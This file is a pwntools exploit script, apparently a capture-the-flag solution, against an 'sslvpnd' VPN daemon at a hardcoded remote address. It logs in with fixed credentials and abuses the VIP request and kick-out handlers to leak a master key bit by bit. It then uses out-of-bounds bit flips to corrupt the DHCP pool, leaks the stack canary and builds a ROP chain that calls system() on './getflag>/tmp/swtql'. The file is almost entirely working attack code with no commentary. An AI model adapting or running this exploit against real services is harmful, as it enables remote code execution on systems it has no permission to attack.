from pwn import *

context.log_level = 'debug'


def login():
    p = remote('111.186.58.249', 32766, ssl=True)

    content = b'name=rea1user&passwd=re4lp4ssw0rd'
    total = len(content)
    raw = b''
    raw += b'POST /login HTTP/1.1\r\n'
    raw += b'Content-Length: ' + str(total).encode('ascii') + b'\r\n'
    raw += b'\r\n'
    raw += content

    p.send(raw)

    p.recvuntil(b'login success')
    return p

def wrap1(data):
    return p32(0xDEADBEEF) + p16(len(data) + 6, endian='big') + data

def wip(a, b, c, d):
    return p8(a) + p8(b) + p8(c) + p8(d)

def check_vip(p, val):
    p.send(wrap1(p16(3) + p32(val, endian = 'big')))
    buf = p.recvn(0xC)
    return u32(buf[-4:])

def req_vip(p, val):
    p.send(wrap1(p16(1) + p32(val, endian = 'big')))
    assert p.recvn(4) == p32(0xDEADBEEF)
    buf = p.recvn(2)
    assert p.recvn(2) == p16(1)

    sz = u16(buf, endian='big')
    buf = p.recvn(sz - 8)
    
    return buf[16:]

def kickout(p, val, key):
    p.send(wrap1(p16(4) + p32(val, endian = 'big') + key))
    buf = p.recvn(0xC)
    return u32(buf[-4:])



progbase = 0x5650d5f47000

# delta = heap abs addr - progbase
delta = 0x5650d7d95640 - progbase
print(hex(delta))


prog = ELF('./sslvpnd')

def calc_off(addr):
    off = (delta - (addr - prog.address)) * 8
    return off

key_off = calc_off(prog.sym['master_key'])

master = login()

baseip = u32(wip(172, 31, 0, 0), endian = 'big')

out = 0
for i in range(0x40):
    r = check_vip(master, baseip - key_off + i)
    out |= (r ^ 1) << i

key = p64(out)
print(key.hex())
master_key = key


tworkers = []

# write dhcp_pool.cnt to negative
off = calc_off(prog.sym['dhcp_pool'] + 0x18)
buf = 0x80000021
ori = 1

for i in [31, 5]:
    kickout(master, baseip - off + i, master_key)



# leak stack
t = login()
buf = req_vip(t, baseip + 3)
tworkers.append(t)

canary = buf[0x80:0x80 + 8]
print(canary.hex())



# fixup
for i in [5, 31]:
    t = login()
    req_vip(t, baseip - off + i)
    tworkers.append(t)



def write_buf(off, buf, old = None):
    if old is None:
        old = bytes(len(buf))

    for i in range(len(buf)):
        for j in range(8):
            a = (buf[i] >> j) & 1   
            b = (old[i] >> j) & 1  
            o = baseip - off + (i * 8 + j)
            if a != b:
                if a == 1 and b == 0:
                    kickout(master, o, master_key)
                else:
                    t = login()
                    req_vip(t, o)
                    tworkers.append(t)


write_buf(calc_off(0x10600), b'./getflag>/tmp/swtql')

def g(t):
    t = t[0:4][::-1] + t[4:8][::-1]
    return t

pop_rdi = progbase + 0xCAC3
ret = progbase + 0xCAC4
command = progbase + 0x10600
system_plt = progbase + (prog.plt['system'] - prog.address)
write_buf(calc_off(0x10640), g(canary) + g(p64(pop_rdi)) + g(p64(command)) + g(p64(ret)) + g(p64(system_plt)))


pad = p64(progbase)
buf = b''
buf += pad * 16 + p64(progbase + 0x10640)
buf += pad * 3 + p64(progbase + 0x10640 + 8) + p64(progbase + 0x10640 + 0x10) + p64(progbase + 0x10640 + 0x18) + p64(progbase + 0x10640 + 0x20)

write_buf(calc_off(prog.sym['dhcp_pool'] + 0x20 + 8), buf)

off = calc_off(prog.sym['dhcp_pool'] + 0x18)
write_buf(off, p32(0x19), p32(1))

req_vip(master, baseip + 10)
